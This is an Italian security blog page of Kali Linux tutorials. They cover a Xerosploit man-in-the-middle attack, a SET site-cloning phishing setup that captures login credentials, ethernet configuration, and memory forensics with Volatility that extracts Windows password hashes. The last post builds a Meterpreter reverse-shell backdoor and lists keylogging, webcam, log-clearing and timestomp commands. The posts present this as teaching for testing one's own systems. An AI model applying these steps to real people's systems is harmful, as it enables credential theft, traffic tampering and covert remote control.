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martedì 13 dicembre 2016

Kali Linux: Eseguire un attacco MITM utilizzando XEROSPLOIT

In questo articolo verranno mostrati alcuni degli attacchi MITM (man in the middle) possibili tramite l'utilizzo del framework XEROSPLOIT.

ATTENZIONE:
Danneggiare o violare un sistema informatico (anche da remoto) rappresenta un reato penale. Le informazioni presenti in quest'articolo vanno utilizzate solo per testare/verificare sistemi di cui si è titolari. Declino ogni responsabilità civile e penale derivante da un utilizzo non legale delle informazioni presentate in questo articolo a solo scopo didattico.


Prima di procedere assicurarsi che la propria distribuzione di Kali Linux sia aggiornata. I passaggi da seguire per aggiornare la distribuzione sono indicati nell'articolo Kali Linux: Messaggio "Something went wrong, printing the error: name 'src' is not defined" nell'utilizzo di SET presente su questo blog.



Installazione del framework Xerosploit

  • Avviare il terminale;
  • Digitare ed eseguire git clone http://www.github.com/Lionsec/xerosploit.git e attendere il download;
    Xerosploit, download da github
    FIG 1 - Xerosploit, download da github
  • Terminato il download accedere alla directory xerosploit digitando cd xerosploit;
  • Installare xerosploit eseguendo il comando python install.py;
  • All'avvio dell'installazione viene richiesto di specificare il sistema operativo per il quale installare il framework. Selezionare l'opzione relativa al proprio sistema. Nel nostro caso, lavorando in Kali Linux, digitare 1 seguito da invio.
    Xerosploit, selezione del sistema operativo
    FIG 2 - Xerosploit, selezione del sistema operativo
  • Al termine dell'installazione un messaggio indica se l'operazione è terminata con successo.
    Xerosploit, installazione completata con successo
    FIG 3 - Xerosploit, installazione completata con successo

Avviare il framework Xerosploit

  • Dal terminale avviare il framework lanciando il comando xerosploit
    Avvio di Xerosploit
    FIG 4 - Avvio di Xerosploit
  • Eseguire la scansione della rete tramite il comando scan

    Xerosploit, Scansione della rete
    FIG 5 - Xerosploit, Scansione della rete
  • Individuato l'indirizzo IP della vittima, digitiamolo seguito da invio. Ad es. in figura FIG 6 prendiamo di mira la postazione con IP 192.168.1.10
    Xerosploit, indirizzo IP della macchina da attaccare
    FIG 6 - Xerosploit, indirizzo IP della macchina da attaccare
  • Digitando help è possibile visualizzare tutti i moduli a disposizione. Ciascun modulo corrisponde ad un'operazione/attacco che è possibile eseguire.
    Xerosploit, moduli
    FIG 7 - Xerosploit, moduli
    I moduli inclusi nel framework sono:
    pscanConsente di effettuare la scansione delle porte della workstation remota.
    dosEffettua un attacco DoS (Denial of Service) verso la workstation specificata.
    pingEsegue un ping verso la macchina che si sta attaccando.
    injecthtmlPermette di eseguire l'inject di codice HTML all'interno delle pagine visualizzate dal browser della vittima.
    injectjsPermette di eseguire l'inject di codice javascript all'interno delle pagine visualizzate dal browser della vittima.
    rdownloadPermette di sostituire qualsiasi file scaricato tramite il browser della vittima con uno a propria scelta.
    sniffEsegue lo sniffing dei pacchetti di rete.
    dspoofPermette di dirottare tutto il traffico http su un indirizzo IP specifico.
    yplayEsegue un suono in background nel browser della vittima.
    replaceSostituisce tutte le immagini visualizzate nel browser della vittima con una a propria scelta.
    driftnetVisualizza tutte le immagini visualizzate dal browser della vittima.
    moveIl contenuto delle pagine web visualizzate dalla vittima iniziano a tremare.
    defaceSostituisce l'intero contenuto della pagina web visualizzato dalla vittima con codice HTML a propria scelta.

    Non resta che digitare il nome del modulo che si intende caricare e lanciare il comando run per eseguirlo. 

Vediamo qualche esempio di utilizzo.

Esempio 1: Uso del modulo Replace per sostituire le immagini visualizzate dal browser
Una volta avviato Xerosploit come indicato nei passaggi precedenti, caricare il modulo replace quindi digitare run per mandarlo in esecuzione.
Verrà richiesto di indicare l'immagine, comprensiva di path, che andrà a sostituire tutte quelle visualizzate dal browser della vittima (ad es. in figura FIG 8 viene indicata l'immagine /root/Desktop/wile-e-coyote.jpg )
Xerosploit, modulo replace
FIG 9 - Xerosploit, modulo replace

A questo punto quando la vittima andrà ad aprire una pagina web, tutte le immagini in essa contenute verranno sostituite da quella da noi indicata.
Per interrompere l'attacco basta premere la combinazione di tasti CTRL+C.



Esempio 2: Uso del modulo move per far vibrare il contenuto della pagina web
Caricare il modulo move ed eseguirlo tramite run. Da questo momento quando la vittima aprirà una pagina web il suo contenuto inizierà a vibrare rendendo difficile la lettura.
Xerosploit, modulo move
FIG 10 - Xerosploit, modulo move

Anche in questo caso, per terminare l'attacco, è necessario premere la combinazione di tasti CTRL+C.


giovedì 20 ottobre 2016

Kali Linux: Clonare un sito per rubare le credenziali utilizzando SET

In questo articolo mostrerò come viene utilizzato uno degli strumenti del Social-Engineer Toolkit (SET) per realizzare un attacco basato sul phishing. In pratica si procede alla clonazione della pagina di inserimento credenziali di un sito (ad es. facebook) e a creare un'apposito collegamento a tale pagina. Quando un utente sprovveduto accederà alla pagina clonata e inserirà le credenziali, queste verranno memorizzate sul sito esca.

ATTENZIONE:
Danneggiare o violare un sistema informatico (anche da remoto) rappresenta un reato penale. Le informazioni presenti in quest'articolo vanno utilizzate solo per testare/verificare sistemi di cui si è titolari. Declino ogni responsabilità civile e penale derivante da un utilizzo non legale delle informazioni presentate in questo articolo a solo scopo didattico.

La prima operazione da effettuare consiste nel verificare se Kali Linux e SET siano aggiornati. Per aggiornare il sistema operativo e il toolkit SET rimando all'articolo Kali Linux: Messaggio "Something went wrong, printing the error: name 'src' is not defined" nell'utilizzo di SET presente su questo blog.

Vediamo passo passo come si prepara l'attacco.
  • Da terminale lanciare SET eseguendo il comando
    setoolkit
  • Accettare le condizioni del servizio se visualizzate;
  • Avviare l'opzione 1) Social-Engineering Attacks;
    SET, Social-Engineering Attacks
    FIG 1 - SET, Social-Engineering Attacks
  • Nel menu successivo selezionare l'opzione 2) Website Attack Vectors;
    SET, Website Attack Vectors
    FIG 2 - SET, Website Attack Vectors
  • Scegliere l'opzione 3) Credential Harvester Attack Method;
    SET, Credential Harvester Attack Method
    FIG 4 - SET, Credential Harvester Attack Method
  • Per procedere alla clonazione di una pagina di un sito è necessario selezionare l'opzione 2) Site Cloner;
    SET, Site Cloner
    FIG 5 - SET, Site Cloner
  • Nella schermata successiva ci viene chiesto di inserire il proprio indirizzo IP. La vittima si connetterà alla pagina clonata sulla nostra macchina, quindi viene richiesto il nostro IP.
    SET, IP
    FIG 6 - SET, IP
  • Successivamente viene richiesto di indicare la pagina da clonare. (Ad es. inserire https://www.facebook.com);
    SET, Clonazione del sito
    FIG 7 - SET, Clonazione del sito
  • Per poter funzionare questo tipo di attacco richiede che il servizio Apache sia avviato, in caso contrario verrà richiesto se si intende avviarlo. All'eventuale richiesta rispondere affermativamente.
    SET, avvio di Apache
    FIG 8 - SET, avvio di Apache
Adesso il sito clonato gira sul nostro server Apache all'indirizzo IP specificato. Non resta che mascherare l'IP all'interno di un link e inviarlo alla vittima. Cliccando sul link, il malcapitato si ritroverà davanti la pagina clonata del tutto simile all'originale.
Pagina clonata
FIG 9 - Pagina clonata

Quando la vittima proverà ad inserire le proprie credenziali queste verranno sia visualizzate sul terminale di Kali Linux sia salvate all'interno di un file di testo dal nome harvest<data_e_ora>.txt in /var/www/html mentre l'utente verrà dirottato sul sito originale.
Credenziali catturare visualizzate nella finestra del terminale
FIG 10 - Credenziali catturare visualizzate nella finestra del terminale
File contenente le credenziali catturate
FIG 11 - File contenente le credenziali catturate





lunedì 17 ottobre 2016

Kali Linux: Impostare e configurare un'interfaccia ethernet in Kali Linux 2016.2 tramite CLI

In quest'articolo vedremo come impostare e configurare manualmente, tramite CLI, un'interfaccia ethernet in Kali Linux 2016.2.

La prima operazione da effettuare è- quella di individuare il nome della scheda di rete che si intende configurare.
Avviare il terminale ed eseguire il comando

ls /sys/class/net/


Visualizzare le interfacce di rete
FIG 1 - Visualizzare le interfacce di rete

Verranno visualizzate tutte le interfacce di rete presenti nel sistema (da notare che il nomi di interfacce cablate iniziano con la lettera 'e' mentre quelle Wi-Fi iniziano con la lettera 'w').

Supponiamo di voler configurare l'interfaccia con nome eth0, per farlo è possibile andare a modificare il file /etc/network/interfaces contenente gran parte delle configurazioni ethernet. Da terminale lanciare il comando

nano /etc/network/interfaces


Ora bisogna decidere se impostare un IP dinamico o statico.

Configurazione IP dinamico tramite server DHCP
Se si intende impostare l'interfaccia eth0 in modo che riceva la configurazione da un server DHCP basta aggiungere le seguenti righe al file

auto eth0
iface eth0 inet dhcp

La prima riga fa in modo che il dispositivo eth0 venga attivato all'avvio, la seconda, invece, stabilisce che l'interfaccia eth0 deve avere uno spazio di indirizzi IPv4 (se si intende utilizzare l'IPv6 è necessario sostituire "inet" con "inet6") e che la sua configurazione viene ottenuta da un server DHCP

Configurazione IP statico

Per configurare l'interfaccia con un IP statico e una configurazione personalizzata è possibile aggiungere le righe di seguito indicate al file /etc/network/interfaces (ovviamente andando a sostituire i valori con quelli desiderati)

auto eth0
iface eth0 inet static
address 192.168.0.14
netmask 255.255.255.0
gateway 192.168.0.1
dns-nameservers 8.8.8.8

La prima riga specifica che il dispositivo eth0 deve essere attivato all'avvio.
La seconda riga indica che all'interfaccia eth0 viene assegnato un IP statico IPv4. Le restanti 4 righe assegnano all'interfaccia l'indirizzo IP, la subnet mask,  il gateway e impostano il server DNS.
Configurazione dell'interfaccia, /etc/network/interfaces
FIG 2 - Configurazione dell'interfaccia, /etc/network/interfaces

Una volta terminate le modifiche al file /etc/network/interfaces, salvare le impostazioni tramite la combinazione di tasti CTRL+O seguito da Invio, quindi chiudere l'editor premendo CTRL+X.


A questo punto non resta che avviare e abilitare il Network Manager.
Avviare il servizio networking utilizzando il comando /etc/init.d/networking start da terminale.  Per gestire le connessioni tramite Network Manager è necessario modificare il file /etc/NetworkManager/NetworkManager.conf.
Dalla finestra terminale eseguire
nano /etc/NetworkManager/NetworkManager.conf


NetworkManager.conf
FIG 3 - NetworkManager.conf

quindi, nella finestra dell'editor, sostituire la scritta false, relativa all'opzione managed nella sezione ifupdown, con true. Sovrascrivere il file premendo la combinazione di tasti CTRL+O e confermare con Invio. Per uscire dall'editor premere CTRL+X.

Riavviare Network Manager tramite il seguente comando:

/etc/init.d/network-manager restart  

Adesso la nostra interfaccia di rete è configurata e funzionante.

lunedì 21 marzo 2016

Windows: Estrarre e analizzare i dati contenuti nella RAM

La RAM di un PC è una memoria volatile, quando il sistema viene spento tutte le informazioni in essa contenute vengono perse. Tra le informazioni presenti in RAM è possibile trovare password, informazioni relative ai socket aperti, il contenuto della clipboard, parti di un documento non ancora salvato su disco, ecc.  Tali informazioni non sono utili solo nel campo dell'informatica forense ma possono essere utili anche a chi si occupa di sicurezza informatica per scoprire vulnerabilità di alcuni software oppure per recuperare la chiave privata da utilizzare per decriptare i dati cifrati da un ransomware (ultimamente molto diffusi).

Ci sono molti tool in grado di catturare i dati presenti in memoria tuttavia uno dei più utilizzati è il Forensic Tool Kit (FTK) messo a disposizione da AccessData. In particolare utilizzerò il tool FTK Imager di AccessData scaricabile gratuitamente dal seguente link
DOWNLOAD FTK Imager



Installazione di AccessData FTK Imager

  1. Una volta scaricato FTK Imager possiamo procedere alla sua installazione cliccando sul file eseguibile. Nella prima schermata di benvenuto basta cliccare su Next per proseguire con l'installazione.

    Installazione AccessData FTK Imager
    FIG 1 - Installazione AccessData FTK Imager
  2. Accettiamo i termini della licenza selezionando l'apposita opzione e clicchiamo sul pulsante Next per proseguire.

    AccessData FTK Imager, Termini di licenza
    FIG 2 - AccessData FTK Imager, Termini di licenza
  3. Nella schermata successiva verifichiamo il percorso di installazione del Toolkit e clicchiamo su Next.

    AccessData FTK Imager, Percorso di installazione
    FIG 3 - AccessData FTK Imager, Percorso di installazione
  4. A questo punto siamo pronti per procedere con l'installazione del Toolkit. Cliccare sul pulsante Install per dare seguito all'installazione.

    AccessData FTK Imager, Installazione
    FIG 4 - AccessData FTK Imager, Installazione
  5. Al termine dell'installazione, lasciando la spunta all'opzione Launch AccessData FTK Imager e cliccando su Finish possiamo avviare il toolkit

    AccessData FTK Imager, Fine installazione e avvio
    FIG 5 - AccessData FTK Imager, Fine installazione e avvio



Eseguire il dump della memoria con FTK Imager

  1. Una volta avviato FTK Imager, per catturare l'intero contenuto della memoria RAM, cliccare sul menu File quindi selezionare Capture memory

    AccessData FTK Imager, Capture Memory...
    FIG 6 - AccessData FTK Imager, Capture Memory...
  2. Nella finestra successiva indicare il nome da assegnare al file di dump della memoria, il percorso dove si intende salvare il file  e specificare se si intende salvare anche il file della memoria virtuale (pagefile.sys) quindi cliccare su Capture Memory.

    AccessData FTK Imager, Memory Capture
    FIG 7 - AccessData FTK Imager, Memory Capture
  3. Non resta che attendere la fine dell'operazione. 

    AccessData FTK Imager, Memory Progress
    FIG 8 - AccessData FTK Imager, Memory Progress
Per analizzare il file di dump creato è possibile utilizzare il tool Volatility (scaricabile da QUI ) oppure utilizzare Kali Linux che lo include già al suo interno. Di seguito mostrerò proprio come utilizzare Kali Linux per analizzare il file di dump creato con FTK Imager.



Analizzare il file di dump creato con FTK Imager utilizzando Kali Linux

  1. Da Kali Linux, avviare la finestra terminale
  2. Posizionarsi su /usr/share/volatility utilizzando il comando 
    cd /usr/share/volatility

    Kali Linux, Volatility
    FIG 9 - Kali Linux, Volatility
  3. Lanciando il comando python vol.py -h è possibile visualizzare l'elenco delle opzioni e dei plugin che è possibile utilizzare con Volatility. I plugin ci consentono di estrarre dal file di dump diverse informazioni.
  4. Per visualizzare le informazioni del file .mem è necessario lanciare il comando python vol.py imageinfo -f /<percorso_e_nome_file.mem> indicando il percorso e il nome del file .mem creato con FTK Imager. Supponiamo di aver copiato tale file, nominato memdump.mem, sul desktop di Kali Linux, in questo caso il comando da lanciare è il seguente 
    python vol.py imageinfo -f /root/Desktop/memdump.mem

    Kali Linux, Volatility - Imageinfo
    FIG 10 - Kali Linux, Volatility - Imageinfo
    Dall'analisi del file di dump possiamo estrarre diverse informazioni come la versione del sistema operativo, il numero di CPU, gli indirizzi fisici per ciascun processore, la data e ora relativa alla creazione del dump, ecc.
  5. Un'altra informazione utile che possiamo estrapolare dal file di dump della RAM è quella relativa ai processi che erano in esecuzione sulla macchina. Il comando da eseguire da terminale è il seguente
    python vol.py pslist --profile=Win10x64 -f /root/Desktop/memdump.mem

    Dove al posto di Win10x64 va indicato il profilo (Suggested Profile) visualizzato dal comando visto nel punto 4
    Kali Linux, Volatility - pslist
    FIG 11 - Kali Linux, Volatility - pslist
  6. Anche il plug-in pstree permette di visualizzare i processi che erano in esecuzione e l'output viene formattato evidenziando la struttura ad albero.
    python vol.py pstree --profile=Win10x64 -f /root/Desktop/memdump.mem


    FIG 12 - Kali Linux, Volatility - pstree
  7. Per visualizzare l'elenco dei driver che erano caricati è possibile utilizzare il plugin driverscan
    python vol.py driverscan --profile=Win10x64 -f /root/Desktop/memdump.mem


    Kali Linux, Volatility - driverscan
    FIG 13 - Kali Linux, Volatility - driverscan
  8. Per conoscere le ultime console eseguite sulla workstation
    python vol.py consoles --profile=Win10x64 -f /root/Desktop/memdump.mem
  9. Per visualizzare i servizi che erano in esecuzione
    python vol.py svcscan --profile=Win10x64 -f /root/Desktop/memdump.mem

    Kali Linux, Volatility - svcscan
    FIG 14 - Kali Linux, Volatility - svcscan
  10. Per visualizzare i driver installati e relative periferiche. 
    python vol.py devicetree --profile=Win7SP1x64 -f /root/Desktop/memdump.mem

    Kali Linux, Volatility - devicetree
    FIG 15 - Kali Linux, Volatility - devicetree
  11. Per visualizzare gli Hive del registro caricati in memoria 
    python vol.py hivelist --profile=Win7SP1x64 -f /root/Desktop/memdump.mem

    Kali Linux, Volatility - hivelist
    FIG 16 - Kali Linux, Volatility - hivelist
    I due indirizzi evidenziati in figura sono indirizzi virtuali del hive di SAM e SYSTEM. Questi 2 Hive contengono informazioni sufficienti ad estrarre l'hash delle password di Windows (utilizzando il plugin hasdump mostrato di seguito)
  12. Con le informazioni recuperate al punto 11, possiamo eseguire il plugin hashdump per risalire all'hash delle password di Windows. 
    python vol.py hashdump --profile=Win7SP1x64 -f /root/Desktop/memdump.mem -y 0xfffff8a000024010 -s 0xfffff8a001f2f010

    Kali Linux, Volatility - hashdump
    FIG 17 - Kali Linux, Volatility - hashdump


L'hash delle password può essere utilizzato per risalire alla password in chiaro degli account di Windows. Dall'output fornito da hashdump, individuare l'account par il quale si intende risalire alla password (in FIG 18 l'account di nostro interesse è Virtual) e copiare l'hash della password (evidenziato in FIG 18).
Una volta trovato l'hash si può tentare di risalire alla password di Windows tramite l'utilizzo di appositi tool, tabelle già compilate o servizi web come https://crackstation.net/


FIG 18 - Kali Linux, Hash della password

Come si intuisce l'argomento è molto vasto e per trattarlo completamente richiederebbe la stesura di un libro. L'articolo vuole essere solo uno spunto indicando le operazioni basilari che è possibile effettuare.



venerdì 4 marzo 2016

Kali Linux: Creare una backdoor per Windows utilizzando SET

Social-Engineer Toolkit (SET), scritto da David Kennedy (ReL1K), è un insieme di tool progettati per eseguire attacchi basati sull'ingegneria sociale. In quest'articolo mostrerò uno dei possibili attacchi realizzabili con questo toolkit incluso in Kali Linux che prevede la creazione di un file eseguibile che, se eseguito sulla macchina della vittima, apre una backdoor.
                 
ATTENZIONE:
Danneggiare un sistema informatico (anche da remoto) rappresenta un reato penale. Le informazioni presenti in quest'articolo vanno utilizzate solo per testare/verificare sistemi di cui si è titolari. Declino ogni responsabilità civile e penale derivante da un utilizzo non legale delle informazioni presentate in questo articolo a solo scopo didattico.

  • La prima operazione da effettuare è quella di avviare SET: da terminale eseguire il comando setoolkit oppure, dall'interfaccia grafica di Kali Linux (Versione 2016.1), cliccare su Applications>Social Engineering Tools>Social Engineering Toolkit.
    Social Engineering Tools
    FIG 1 - Social Engineering Tools
  • Dal menu che appare selezionare l'opzione 1) Social-Engineering Attacks
    FIG 2 - Social-Engineering Attacks
  • Selezionare l'opzione 4) Create a Payload and Listener.
    Create a Payload and Listener
    FIG 3 - Create a Payload and Listener
  • Selezionare 2) Windows Reverse_TCP Meterpreter.
    Windows Reverse_TCP Meterpreter
    FIG 4 - Windows Reverse_TCP Meterpreter
  • Indicare l'indirizzo IP che il payload deve contattare una volta che viene eseguito dalla vittima (indirizzo IP di chi attacca).
    IP Address
    FIG 5 - IP Address
  • Specificare la porta del listener (in genere 443) confermando con invio. Verrà creato un eseguibile chiamato payload.exe (in /root/.usr/payload.exe) che consente di aprire una backdoor sulla workstation della vittima.
    Porta su cui attendere la comunicazione del payload
    FIG 6 - Porta su cui attendere la comunicazione del payload

    Percorso del payload.exe da eseguire sulla macchina della vittima
    FIG 7 - Percorso del payload.exe da eseguire sulla macchina della vittima
  • A questo punto viene richiesto se si intende avviare il listener sulla macchina di chi sta eseguendo l'attacco. Digitare yes seguito da invio per avviare la msfconsole.
    Avvio del listener
    FIG 8 - Avvio del listener
  • Una volta che msfconsole è stata avviata non resta che attendere che il file payload.exe venga eseguito sulla macchina della vittima e verrà aperta una sessione di Meterpreter.
    Sessione Meterpreter
    FIG 9 - Sessione Meterpreter
  • Digitare il comando sessions -i 1 dove 1 rappresenta il numero della sessione che si intende selezionare (in FIG 9 è possibile vedere il numero della sessione nella dicitura session 1 opened)
    Attivare la sessione
    FIG 10 - Attivare la sessione
  • Per fare in modo che meterpreter rimanga aperto è necessario migrare il payload su un altro processo. Per eseguire questa operazione è necessario disporre del PDI (process ID) di un altro processo. Usare il comando ps per visualizzare i processi attualmente in esecuzione sulla macchina vittima. Una volta individuato il PID su cui vogliamo migrare utilizziamo il comando
    migrate <PID del processo>
    ad es
    migrate 4878
Digitando help visualizziamo l'elenco dei comandi che possiamo eseguire sulla macchina della vittima




Possiamo riavviare la postazione, trasferire file, terminare processi, prendere il controllo della webcam/microfono, ecc.

Di seguito un elenco dei comandi che è possibile eseguire:

Core Commands
=============

    Command                   Description
    -------                        -----------
    ?                               Help menu
    background                Backgrounds the current session
    bgkill                         Kills a background meterpreter script
    bglist                         Lists running background scripts
    bgrun                        Executes a meterpreter script as a background thread
    channel                     Displays information or control active channels
    close                         Closes a channel
    disable_unicode_encoding  Disables encoding of unicode strings
    enable_unicode_encoding   Enables encoding of unicode strings
    exit                           Terminate the meterpreter session
    get_timeouts             Get the current session timeout values
    help                          Help menu
    info                           Displays information about a Post module
    irb                            Drop into irb scripting mode
    load                          Load one or more meterpreter extensions
    machine_id                Get the MSF ID of the machine attached to the session
    migrate                     Migrate the server to another process
    quit                           Terminate the meterpreter session
    read                          Reads data from a channel
    resource                    Run the commands stored in a file
    run                            Executes a meterpreter script or Post module
    set_timeouts              Set the current session timeout values
    sleep                         Force Meterpreter to go quiet, then re-establish session.
    transport                   Change the current transport mechanism
    use                           Deprecated alias for 'load'
    uuid                          Get the UUID for the current session
    write                         Writes data to a channel


Stdapi: File system Commands
============================

    Command       Description
    -------             -----------
    cat                 Read the contents of a file to the screen
    cd                  Change directory
    dir                  List files (alias for ls)
    download        Download a file or directory
    edit                Edit a file
    getlwd            Print local working directory
    getwd             Print working directory
    lcd                 Change local working directory
    lpwd               Print local working directory
    ls                   List files
    mkdir             Make directory
    mv                 Move source to destination
    pwd                Print working directory
    rm                  Delete the specified file
    rmdir              Remove directory
    search            Search for files
    show_mount   List all mount points/logical drives
    upload            Upload a file or directory


Stdapi: Networking Commands
===========================

    Command       Description
    -------             -----------
    arp                 Display the host ARP cache
    getproxy         Display the current proxy configuration
    ifconfig           Display interfaces
    ipconfig          Display interfaces
    netstat           Display the network connections
    portfwd          Forward a local port to a remote service
    route             View and modify the routing table


Stdapi: System Commands
=======================

    Command       Description
    -------             -----------
    clearev           Clear the event log
    drop_token     Relinquishes any active impersonation token.
    execute          Execute a command
    getenv           Get one or more environment variable values
    getpid            Get the current process identifier
    getprivs         Attempt to enable all privileges available to the current process
    getsid            Get the SID of the user that the server is running as
    getuid            Get the user that the server is running as
    kill                 Terminate a process
    ps                  List running processes
    reboot            Reboots the remote computer
    reg                Modify and interact with the remote registry
    rev2self         Calls RevertToSelf() on the remote machine
    shell              Drop into a system command shell
    shutdown       Shuts down the remote computer
    steal_token    Attempts to steal an impersonation token from the target process
    suspend         Suspends or resumes a list of processes
    sysinfo          Gets information about the remote system, such as OS


Stdapi: User interface Commands
===============================

    Command        Description
    -------              -----------
    enumdesktops   List all accessible desktops and window stations
    getdesktop        Get the current meterpreter desktop
    idletime             Returns the number of seconds the remote user has been idle
    keyscan_dump   Dump the keystroke buffer
    keyscan_start    Start capturing keystrokes
    keyscan_stop     Stop capturing keystrokes
    screenshot         Grab a screenshot of the interactive desktop
    setdesktop         Change the meterpreters current desktop
    uictl                  Control some of the user interface components


Stdapi: Webcam Commands
=======================

    Command        Description
    -------              -----------
    record_mic       Record audio from the default microphone for X seconds
    webcam_chat   Start a video chat
    webcam_list     List webcams
    webcam_snap  Take a snapshot from the specified webcam
    webcam_stream  Play a video stream from the specified webcam


Priv: Elevate Commands
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    Command       Description
    -------             -----------
    getsystem       Attempt to elevate your privilege to that of local system.


Priv: Password database Commands
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    Command       Description
    -------             -----------
    hashdump      Dumps the contents of the SAM database


Priv: Timestomp Commands
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    Command       Description
    -------             -----------
    timestomp     Manipulate file MACE attributes